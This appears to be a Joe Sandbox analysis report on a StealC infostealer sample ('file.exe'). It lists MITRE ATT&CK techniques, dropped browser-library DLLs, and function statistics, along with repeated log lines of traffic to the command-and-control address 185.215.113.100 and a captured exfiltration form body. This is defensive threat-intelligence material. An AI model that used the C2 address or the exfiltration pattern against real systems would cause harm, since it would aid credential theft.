------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJECFHCBKKEBAKFIJDHI--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAKFBKEHDBGHJJKFIEGDBKKFID

C:\ProgramData\FBKKFBAEGDHJJJJKFBKF

C:\ProgramData\FHIDBKFCAAEBFIDHDBAE

C:\ProgramData\GHJDGDBFCBKFHJKFHCBK

C:\ProgramData\HCAEHJJKFCAAFHJKFBKKEBKECB

C:\ProgramData\JJJKEHCA

C:\ProgramData\KECBKKEBKEBFCAAAEGDHDGIIJE

C:\ProgramData\KJECFHCB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

Windows Analysis Report
file.exe

Function 007D9270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 007C4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 007CBCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 007D43F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 007D95E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 007C7750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 007D0090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 007C5150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 007C59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre